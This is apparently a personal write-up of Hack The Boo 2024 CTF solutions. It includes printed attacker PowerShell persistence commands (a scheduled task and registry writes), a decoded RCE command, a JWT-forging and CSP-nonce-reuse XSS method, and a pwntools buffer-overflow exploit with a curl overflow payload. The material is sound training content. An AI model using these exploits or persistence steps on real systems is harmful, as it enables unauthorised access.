Hack The Boo 2024 CTF
2024 edition of Hack The Boo from HTB to celebrate Cybersecurity Month and Halloween. I solved a few challenges ( ‾́ ◡ ‾́ )
Coding
Replacement
A cursed spell has altered a scroll, changing key letters. Replace the haunted letter with a random one to break the curse!
I kind of overthinked here when I first approached the challenge. I thought I was supposed to use os
to leak a secret on the server. You’re supposed to solve the programming challenge, (☉__☉”)
1
2
3
4
5
6
7
8
9
10
11
12
13
def solve(input_string, replace_char, replace_with_char):
res = ""
for c in input_string:
if c == replace_char:
res += replace_with_char
else:
res += c
print(res)
input_string = input()
replace_char = input()
replace_with_char = input()
solve(input_string, replace_char, replace_with_char)
Flag: HTB{g0tTa_r3pLacE_th3_sTR1nG!!_e5247a550e68c8cb1aefddb2eb09f4bd}
MiniMax
In a haunted graveyard, spirits hide among the numbers. Can you identify the smallest and largest among them before they vanish?
1
2
3
4
5
6
input_stream = input()
inputs = list(map(float, input_stream.split()))
min_val = min(inputs)
max_val = max(inputs)
print(min_val)
print(max_val)
Flag: HTB{aLL_maX3d_0uT_c152fb39ba74c314ef3f8b641985e17c}
Forensics
Ghostly Persistence
On a quiet Halloween night, when the world outside was wrapped in shadows, an intrusion alert pierced through the calm. The alert, triggered by an internal monitoring system, pinpointed unusual activity on a specific workstation. Can you illuminate the darkness and uncover what happened during this intrusion?
In this challenge, we’re given Windows event logs. I’ll use chainsaw
to search through the logs for detections.
1
% ./chainsaw_aarch64-apple-darwin hunt ../Logs/*.evtx -s sigma/ --mapping mappings/sigma-event-logs-all.yml
The PS scripts with gibberish filenames stand out.
1
% ./chainsaw_aarch64-apple-darwin search -t 'Event.System.EventID: =4104' ../Logs/*.evtx --json | jq '.[]'
The PS scripts wLDwomPJLN.ps1
and 3MZvgfcEiT.ps1
were downloaded to env:TEMP
and executed.
1
2
3
4
5
6
7
8
9
"EventData": {
"MessageNumber": 1,
"MessageTotal": 1,
"ScriptBlockText": "Get-ChildItem -Path \"$env:TEMP\" -Verbose\nGet-Process -Verbose\n\n$action = New-ScheduledTaskAction -Execute \"powershell.exe\" -Argument \"-EncodedCo
mmand JHRlbXBQYXRoID0gIiRlbnY6d2luZGlyXHRlbXBcR2gwc3QudHh0IgoiSFRCe0doMHN0X0wwYzR0MTBuIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkdGVtcFBhdGggLUVuY29kaW5nIHV0Zjg=\"\n$trigger = New-Scheduled
TaskTrigger -AtStartup\nRegister-ScheduledTask -Action $action -Trigger $trigger -TaskName \"MaintenanceTask\" -Description \"\"\n",
"ScriptBlockId": "677529ad-da67-4f73-a7b3-b3385eaed86b",
"Path": "C:\\Users\\usr01\\AppData\\Local\\Temp\\wLDwomPJLN.ps1"
}
Decoding the command in wLDwomPJLN.ps1
, we get the first part of the flag.
1
2
$tempPath = "$env:windir\temp\Gh0st.txt"
"HTB{Gh0st_L0c4t10n" | Out-File -FilePath $tempPath -Encoding utf8
3MZvgfcEiT.ps1
sets a registry key, and the second part of the flag is in the set value. This decodes to _W4s_R3v34l3d}
.
1
2
3
4
5
6
7
8
9
"EventData": {
"MessageNumber": 1,
"MessageTotal": 1,
"ScriptBlockText": "Get-PSDrive -Name C -Verbose\nGet-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\" -Verbose\n\nNew-Item -Path \"HKCU:\\Softwar
e\\cPdQnixceg\" -Force\nNew-ItemProperty -Path \"HKCU:\\Software\\cPdQnixceg\" -Name \"cPdQnixceg\" -Value \"X1c0c19SM3YzNGwzZH0=\" -PropertyType String\nGet-ScheduledTask -Verbo
se\n",
"ScriptBlockId": "72187be7-469a-440d-ac5f-44d1f81d3de5",
"Path": "C:\\Users\\usr01\\AppData\\Local\\Temp\\3MZvgfcEiT.ps1"
}
Flag: HTB{Gh0st_L0c4t10n_W4s_R3v34l3d}
Foggy Intrusion
On a fog-covered Halloween night, a secure site experienced unauthorized access under the veil of darkness. With the world outside wrapped in silence, an intruder bypassed security protocols and manipulated sensitive areas, leaving behind traceable yet perplexing clues in the logs. Can you piece together the fragments of this nocturnal breach?
The given pcap file only has HTTP traffic. Initially, the user made multiple junk requests that returned 404s.
I’ll filter out the status 400s to find 302s that have valid responses from the server.
Following the request, we see that the user used the php://input
filter to get RCE.
The commands were all powershell, where the output of the executed command is first compressed before it is base64 encoded. Therefore, to decode the responses from the server, we will have to do the reverse to get the plaintext output.
1
2
$ echo 'cG93ZXJzaGVsbC5leGUgLUMgIiRvdXRwdXQgPSBHZXQtQ2hpbGRJdGVtIC1QYXRoIEM6OyAkYnl0ZXMgPSBbVGV4dC5FbmNvZGluZ106OlVURjguR2V0Qnl0ZXMoJG91dHB1dCk7ICRjb21wcmVzc2VkU3RyZWFtID0gW1N5c3RlbS5JTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgJGNvbXByZXNzb3IgPSBbU3lzdGVtLklPLkNvbXByZXNzaW9uLkRlZmxhdGVTdHJlYW1dOjpuZXcoJGNvbXByZXNzZWRTdHJlYW0sIFtTeXN0ZW0uSU8uQ29tcHJlc3Npb24uQ29tcHJlc3Npb25Nb2RlXTo6Q29tcHJlc3MpOyAkY29tcHJlc3Nvci5Xcml0ZSgkYnl0ZXMsIDAsICRieXRlcy5MZW5ndGgpOyAkY29tcHJlc3Nvci5DbG9zZSgpOyAkY29tcHJlc3NlZEJ5dGVzID0gJGNvbXByZXNzZWRTdHJlYW0uVG9BcnJheSgpOyBbQ29udmVydF06OlRvQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkQnl0ZXMpIg==' | base64 -d
powershell.exe -C "$output = Get-ChildItem -Path C:; $bytes = [Text.Encoding]::UTF8.GetBytes($output); $compressedStream = [System.IO.MemoryStream]::new(); $compressor = [System.IO.Compression.DeflateStream]::new($compressedStream, [System.IO.Compression.CompressionMode]::Compress); $compressor.Write($bytes, 0, $bytes.Length); $compressor.Close(); $compressedBytes = $compressedStream.ToArray(); [Convert]::ToBase64String($compressedBytes)"
I’ll extract the HTTP data with tshark
and decode the responses to discover the flag in config.php
1
$ tshark -r capture.pcap -Y 'tcp.stream eq 3' -T fields -e http.file_data | xxd -r -p | sed 's/^<.*>//g' > capture.response
1
2
3
4
5
6
7
8
9
import base64
import zlib
with open('capture.response', 'r') as f:
for b64_str in f:
compressed_data = base64.b64decode(b64_str)
decompressed_data = zlib.decompress(compressed_data, wbits=-zlib.MAX_WBITS)
print(decompressed_data.decode('utf-8'))
Flag: HTB{f06_d154pp34r3d_4nd_fl46_w4s_f0und!}
Web
WayWitch
Hidden in the shadows, a coven of witches communicates through arcane tokens, their messages cloaked in layers of dark enchantments. These enchanted tokens safeguard their cryptic conversations, masking sinister plots that threaten to unfold under the veil of night. However, whispers suggest that their protective spells are flawed, allowing outsiders to forge their own charms. Can you exploit the weaknesses in their mystical seals, craft a token of your own, and infiltrate their circle to thwart their nefarious plans before the next moon rises?
The page source includes the Javascript source code for generating the user’s JWT. Here, the secret key used to sign the JWT is revealed to the user, which means that we can craft our own valid JWT.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
function getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(";").shift();
}
async function generateJWT() {
const existingToken = getCookie("session_token");
if (existingToken) {
console.log("Session token already exists:", existingToken);
return;
}
const randomNumber = Math.floor(Math.random() * 10000);
const guestUsername = "guest_" + randomNumber;
const header = {
alg: "HS256",
typ: "JWT",
};
const payload = {
username: guestUsername,
iat: Math.floor(Date.now() / 1000),
};
const secretKey = await crypto.subtle.importKey(
"raw",
new TextEncoder().encode("halloween-secret"),
{ name: "HMAC", hash: "SHA-256" },
false,
["sign"],
);
const headerBase64 = btoa(JSON.stringify(header))
.replace(/\+/g, "-")
.replace(/\//g, "_")
.replace(/=+$/, "");
const payloadBase64 = btoa(JSON.stringify(payload))
.replace(/\+/g, "-")
.replace(/\//g, "_")
.replace(/=+$/, "");
const dataToSign = `${headerBase64}.${payloadBase64}`;
const signatureArrayBuffer = await crypto.subtle.sign(
{ name: "HMAC" },
secretKey,
new TextEncoder().encode(dataToSign),
);
const signatureBase64 = btoa(
String.fromCharCode.apply(
null,
new Uint8Array(signatureArrayBuffer),
),
)
.replace(/\+/g, "-")
.replace(/\//g, "_")
.replace(/=+$/, "");
const token = `${dataToSign}.${signatureBase64}`;
document.cookie = `session_token=${token}; path=/; max-age=${60 * 60 * 24}; Secure`;
console.log("Generated JWT Session Token:", token);
}
document
.getElementById("submit-btn")
.addEventListener("click", async (event) => {
event.preventDefault();
const name = document.getElementById("ticket-name").value;
const description =
document.getElementById("ticket-desc").value;
const response = await fetch("/submit-ticket", {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify({ name, description }),
});
const result = await response.json();
document.getElementById("message-display").textContent =
result.message
? result.message
: "Ticket submitted successfully!";
});
window.addEventListener("load", generateJWT);
To solve the challenge, we’ll make GET request to /tickets
with a JWT where our username is admin to get the flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
router.get("/tickets", async (req, res) => {
const sessionToken = req.cookies.session_token;
if (!sessionToken) {
return res.status(401).json(response("No session token provided"));
}
try {
const username = getUsernameFromToken(sessionToken);
if (username === "admin") {
try {
const tickets = await db.get_tickets();
return res.status(200).json({ tickets });
} catch (err) {
return res
.status(500)
.json(response("Error fetching tickets: " + err.message));
}
} else {
return res
.status(403)
.json(response("Access denied. Admin privileges required."));
}
} catch (err) {
return res.status(400).json(response(err.message));
}
});
I’ll set a breakpoint at the line right before the payload is signed, change the username to “admin” to get valid admin token.
To generate a new token, the existing one needs to be removed to execute
generateJWT()
.
When our breakpoint is hit, change the username in the payload to “admin”.
The newly generated JWT is returned in the console.
We can verify that the JWT is valid.
Finally, make a request to /tickets
.
Flag: HTB{k33p_jwt_s3cr3t_s4f3_br0_b671d6155f0ccded16feece8e666e8eb}
Cursed Stale Policy
The challenge allows you to evaluate your own CSP policies, and has a button to trigger an XSS on the victim. The goal here is to bypass the server’s CSP policy to trigger the XSS and leak the flag.
If we look at the CSP policy, the server is using a nonce to allow JS execution. Basically, the CSP directive will generate a nonce and this value must be used in the tag that loads a script. If the nonce provided does not match, then JS execution is blocked. However, for this to be safe, the nonce must be securely generated on each page load and not be guessable.
1
2
3
4
5
6
7
default-src 'self';
script-src 'self' 'nonce-04f1b2e293b28add10f481ce61af394d';
style-src 'self' 'unsafe-inline';
img-src 'self' data:;
object-src 'none';
base-uri 'none';
report-uri /csp-report
After making a few requests, I noticed that the nonce remained the same. The vulnerability is here, where the application retrieves a cached CSP header from redis, therefore it can be re-used. Since we have a known nonce, we can include the nonce in the script tag to get JS execution.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
export async function getCachedCSP() {
let cachedCSP = await redis.get('cachedCSPHeader');
if (cachedCSP) {
return cachedCSP; // TOOD: Should we cache the CSP header?
} else {
const nonce = crypto.randomBytes(16).toString('hex');
const cspWithNonce = `default-src 'self'; script-src 'self' 'nonce-${nonce}'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; object-src 'none'; base-uri 'none'; report-uri /csp-report`;
await redis.set('cachedCSPHeader', cspWithNonce);
return cspWithNonce;
}
}
Flag: HTB{br0k3_th3_sp3cter’s_st4l3_curs3_89a8c03c740ba094cc5effb5ff694a1f}
Pwn
El Mundo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[Addr] | [Value]
-------------------+-------------------
0x00007ffd5f713100 | 0x0000000000000000 <- Start of buffer (You write here from right to left)
0x00007ffd5f713108 | 0x0000000000000000
0x00007ffd5f713110 | 0x0000000000000000
0x00007ffd5f713118 | 0x0000000000000000
0x00007ffd5f713120 | 0x00007feb47804644 <- Local Variables
0x00007ffd5f713128 | 0x00000000deadbeef <- Local Variables (nbytes read receives)
0x00007ffd5f713130 | 0x00007ffd5f7131d0 <- Saved rbp
0x00007ffd5f713138 | 0x00007feb4762a1ca <- Saved return address
0x00007ffd5f713140 | 0x00007feb478045c0
0x00007ffd5f713148 | 0x00007ffd5f713258
[*] Overflow the buffer.
[*] Overwrite the 'Local Variables' with junk.
[*] Overwrite the Saved RBP with junk.
[*] Overwrite 'Return Address' with the address of 'read_flag() [0x4016b7].'
>
The challenge tells us exactly what to do. This is a standard ret2win, we’ll use the buffer overflow to overwrite the return address to read_flag()
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/python3
from pwn import *
import warnings
import os
warnings.filterwarnings('ignore')
context.log_level = 'critical'
fname = './el_mundo'
LOCAL = False # Change this to "True" to run it locally
os.system('clear')
if LOCAL:
print('Running solver locally..\n')
r = process(fname)
else:
IP = str(sys.argv[1]) if len(sys.argv) >= 2 else '0.0.0.0'
PORT = int(sys.argv[2]) if len(sys.argv) >= 3 else 1337
r = remote(IP, PORT)
print(f'Running solver remotely at {IP} {PORT}\n')
e = ELF(fname)
# CHANGE THESE
nbytes = 56 # CHANGE THIS TO THE RIGHT AMOUNT
#read_flag_addr = 0x6969 # ADD THE CORRECT ADDRESS
read_flag_addr = 0x4016b7
# Send payload
r.sendlineafter('> ', b'A'*nbytes + p64(read_flag_addr))
# Read flag
r.sendline('cat flag*')
print(f'Flag --> {r.recvline_contains(b"HTB").strip().decode()}\n')
Flag: HTB{z4_w4rud0o0o0o0_e03cd5fb5e2b54bc4a71d18512f40284}
El Pipo
1
2
3
4
5
6
7
8
$ pwn checksec el_pipo
[*] '/home/kali/ctf/boo-2024/el_pip/el_pipo'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
I’m not sure if this is intended, but when testing locally, the flag is returned when a logn input is suppplied.
1
2
$ python3 -c 'print("A"*48)' | ./el_pipo
HTB{f4ke_fl4g_4_t35t1ng}
The challenge binary is running on a web server instead of listening on a nc
connection. userInput
is passed to the binary here.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
...[SNIP]...
<script>
// Handle form submission asynchronously using JavaScript (AJAX)
document.getElementById('binaryForm').addEventListener('submit', async function(event) {
event.preventDefault(); // Prevent traditional form submission
const input = document.getElementById('userInput').value;
const response = await fetch('/process', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ userInput: input })
});
const result = await response.text(); // Assuming your binary sends back plain text
document.getElementById('result').innerText = result;
});
</script>
</body>
</html>
1
2
$ curl 83.136.255.36:41230/process -H 'Content-Type: application/json' -d '{"userInput":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}'
HTB{3l_p1p0v3rfl0w_02e7ead43bbfa7123848c8f6d12e4e71}
Flag: HTB{3l_p1p0v3rfl0w_f9b76df4979bd9ad9e17dfcee1d7fa88}
Reverse
LinkHands
1
2
3
$ ./link
The cultists look expectantly to you - who will you link hands with? aaaaa
You fail to grasp their hands - they look at you with suspicious...
I read the flag from the variable in .data
. I believe this is unintended. ¯_(ツ)_/¯
Flag: HTB{4_br34k_1n_th3_ch41n_0e343f537ebc}
Terrorfryer
1
2
3
4
5
$ ./fryer
Please enter your recipe for frying: foo
got: `foo`
expected: `1_n3}f3br9Ty{_6_rHnf01fg_14rlbtB60tuarun0c_tr1y3`
This recipe isn't right :(
The challenge takes in an input, scrambles it, and compares it with the scrambled flag. To get the original flag, we’ll have to reverse the scrambled flag shown in expected
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
undefined8 main(void)
{
int iVar1;
char *pcVar2;
long in_FS_OFFSET;
char acStack_68 [72];
long local_20;
local_20 = *(long *)(in_FS_OFFSET + 0x28);
setvbuf(stdout,(char *)0x0,2,0);
printf("Please enter your recipe for frying: ");
fgets(acStack_68,0x40,stdin);
pcVar2 = strchr(acStack_68,10);
if (pcVar2 != (char *)0x0) {
*pcVar2 = '\0';
}
fryer(acStack_68);
printf("got: `%s`\nexpected: `%s`\n",acStack_68,desired);
iVar1 = strcmp(desired,acStack_68);
if (iVar1 == 0) {
puts("Correct recipe - enjoy your meal!");
}
else {
puts("This recipe isn\'t right :(");
}
if (local_20 == *(long *)(in_FS_OFFSET + 0x28)) {
return 0;
}
// WARNING: Subroutine does not return
__stack_chk_fail();
}
The scrambling function first sets the seed to 0x13377331 because init_1
is only declared.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
void fryer(char *param_1)
{
char cVar1;
int iVar2;
size_t sVar3;
long lVar4;
if (init_1 == 0) {
seed_0 = 0x13377331;
init_1 = 1;
}
sVar3 = strlen(param_1);
if (1 < sVar3) {
lVar4 = 0;
do {
iVar2 = rand_r(&seed_0);
cVar1 = param_1[lVar4];
param_1[lVar4] = param_1[(int)((ulong)(long)iVar2 % (sVar3 - lVar4)) + (int)lVar4];
param_1[(int)((ulong)(long)iVar2 % (sVar3 - lVar4)) + (int)lVar4] = cVar1;
lVar4 = lVar4 + 1;
} while (lVar4 != sVar3 - 1);
}
return;
}
The scrambling starts from the first character in the string, and swaps the current character with the character at iVar2 % (sVar3 - lVar4) + lVar4
. iVar2
is generated using rand_r()
, and the seed is updated after each call.
1
2
3
4
5
6
7
8
9
10
sVar3 = strlen(param_1);
if (1 < sVar3) {
lVar4 = 0;
do {
iVar2 = rand_r(&seed_0);
cVar1 = param_1[lVar4];
param_1[lVar4] = param_1[(int)((ulong)(long)iVar2 % (sVar3 - lVar4)) + (int)lVar4];
param_1[(int)((ulong)(long)iVar2 % (sVar3 - lVar4)) + (int)lVar4] = cVar1;
lVar4 = lVar4 + 1;
} while (lVar4 != sVar3 - 1);
To reverse the scrambled flag, we can perform the swaps in reverse. Since we have a known seed, we can store all the generated rand_r
values to get the original swap indexes used.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
unsigned int seed = 0x13377331;
int rngValues[48];
char encrypted[] = "1_n3}f3br9Ty{_6_rHnf01fg_14rlbtB60tuarun0c_tr1y3";
int n = strlen(encrypted);
for (int i = 0; i < n; i++) {
rngValues[i] = rand_r(&seed);
}
for (int i = n - 1; i >= 0; i--) {
int swapIdx = ((int)(unsigned long)(long)rngValues[i] % (n - i)) + i;
char c = encrypted[swapIdx];
encrypted[swapIdx] = encrypted[i];
encrypted[i] = c;
}
printf("%s\n", encrypted);
return 0;
}
Flag: HTB{4_truly_t3rr0r_fry1ng_funct10n_9b3ab6360f11}
Crypto
binary basis
source.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from Crypto.Util.number import getPrime, bytes_to_long
from math import prod
FLAG = open('flag.txt', 'rb').read()
primes = [getPrime(128) for _ in range(16)]
n = prod(primes)
e = 0x10001
m = bytes_to_long(FLAG)
c = pow(m, e, n)
treat = sum([primes[i]*2**(0x1337-158*(2*i+1)) for i in range(16)])
with open('output.txt', 'w') as f:
f.write(f'{n = }\n')
f.write(f'{e = }\n')
f.write(f'{c = }\n')
f.write(f'{treat = }\n')
output.txt
1
2
3
4
n = 352189612438784047320754903106372002809877965719588610950180565262740960705788381566578345723325074804073747981488556714699194183628557150903839852453543700776971896448650422022044960974232637963499485064773137220336653165714273408753468196975611814144214482908258123395290626550717602601895666745644709508591571302894106487383195731091217527995774179358090943421864881850666765491934935419093710096767868514339375941764521600704560564724716373816013966194185050357691082654919969371044174479415710416530800029987261822155401485231590655607419352265580910531638967882492680615189164541617995862933344817766381378089
e = 65537
c = 258206881010783673911167466000280032795683256029763436680006622591510588918759130811946207631182438160709738478509009433281405324151571687747659548241818716696653056289850196958534459294164815332592660911913191207071388553888518272867349215700683577256834382234245920425864363336747159543998275474563924447347966831125304800467864963035047640304142347346869249672601692570499205877959815675295744402001770941573132409180803840430795486050521073880320327660906807950574784085077258320130967850657530500427937063971092564603795987017558962071435702640860939625245936551953348307195766440430944812377541224555649965224
treat = 33826299692206056532121791830179921422706114758529525220793629816156072250638811879097072208672826369710139141314323340868249218138311919342795011985307401396584742792889745481236951845524443087508961941376221503463082988824380033699922510231682106539670992608869544016935962884949065959780503238357140566278743227638905174072222417393094469815315554490106734525135226780778060506556705712260618278949198314874956096334168056169728142790865790971422951014918821304222834793054141263994367399532134580599152390531190762171297276760172765312401308121618180252841520149575913572694909728162718121046171285288877325684172770961191945212724710898385612559744355792868434329934323139523576332844391818557784939344717350486721127766638540535485882877859159035943771015156857329402980925114285187490669443939544936816810818576838741436984740586203271458477806641543777519866403816491051725315688742866428609979426437598677570710511190945840382014439636022928429437759136895283286032849032733562647559199731329030370747706124467405783231820767958600997324346224780651343241077542679906436580242223756092037221773830775592945310048874859407128884997997578209245473436307118716349999654085689760755615306401076081352665726896984825806048871507798497357305218710864342463697957874170367256092701115428776435510032208152373905572188998888018909750348534427300919509022067860128935908982044346555420410103019344730263483437408060519519786509311912519598116729716340850428481288557035520
Classic RSA challenge where the factors of n
are known.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from Crypto.Util.number import inverse, long_to_bytes
from math import prod
n = 352189612438784047320754903106372002809877965719588610950180565262740960705788381566578345723325074804073747981488556714699194183628557150903839852453543700776971896448650422022044960974232637963499485064773137220336653165714273408753468196975611814144214482908258123395290626550717602601895666745644709508591571302894106487383195731091217527995774179358090943421864881850666765491934935419093710096767868514339375941764521600704560564724716373816013966194185050357691082654919969371044174479415710416530800029987261822155401485231590655607419352265580910531638967882492680615189164541617995862933344817766381378089
e = 65537
c = 258206881010783673911167466000280032795683256029763436680006622591510588918759130811946207631182438160709738478509009433281405324151571687747659548241818716696653056289850196958534459294164815332592660911913191207071388553888518272867349215700683577256834382234245920425864363336747159543998275474563924447347966831125304800467864963035047640304142347346869249672601692570499205877959815675295744402001770941573132409180803840430795486050521073880320327660906807950574784085077258320130967850657530500427937063971092564603795987017558962071435702640860939625245936551953348307195766440430944812377541224555649965224
treat = 33826299692206056532121791830179921422706114758529525220793629816156072250638811879097072208672826369710139141314323340868249218138311919342795011985307401396584742792889745481236951845524443087508961941376221503463082988824380033699922510231682106539670992608869544016935962884949065959780503238357140566278743227638905174072222417393094469815315554490106734525135226780778060506556705712260618278949198314874956096334168056169728142790865790971422951014918821304222834793054141263994367399532134580599152390531190762171297276760172765312401308121618180252841520149575913572694909728162718121046171285288877325684172770961191945212724710898385612559744355792868434329934323139523576332844391818557784939344717350486721127766638540535485882877859159035943771015156857329402980925114285187490669443939544936816810818576838741436984740586203271458477806641543777519866403816491051725315688742866428609979426437598677570710511190945840382014439636022928429437759136895283286032849032733562647559199731329030370747706124467405783231820767958600997324346224780651343241077542679906436580242223756092037221773830775592945310048874859407128884997997578209245473436307118716349999654085689760755615306401076081352665726896984825806048871507798497357305218710864342463697957874170367256092701115428776435510032208152373905572188998888018909750348534427300919509022067860128935908982044346555420410103019344730263483437408060519519786509311912519598116729716340850428481288557035520
primes = [
177433995632585646643938770425036805593,
201248411415496041161608451182478476651,
211565639988646066084516543793152198691,
219876124958933231098612850322526589449,
231064506115305357425020635842612539447,
234412327930918375982208973121051256703,
237698251138254651570085824926169468373,
257625975719126301912858129201276787967,
271852097809552507680385772555572662251,
275659373105708586943140025923053203649,
287388491685355701504000759461314948007,
299880188984019031026827249219116473077,
301666687585301891299278182740559644813,
307618172470874661743505812942878894883,
324591622192086196189873735246561229599,
328590850013220519307624591674287922827,
]
# phi(n) = (p-1)(q-1)
phi_n = prod(p - 1 for p in primes)
# d = e ^ -1 mod phi(n)
d = inverse(e, phi_n)
# m = c ^ d mod n
m = pow(c, d, n)
flag = long_to_bytes(m)
print(flag)
Flag: HTB{hiding_primes_in_powers_of_two_like_an_amateur}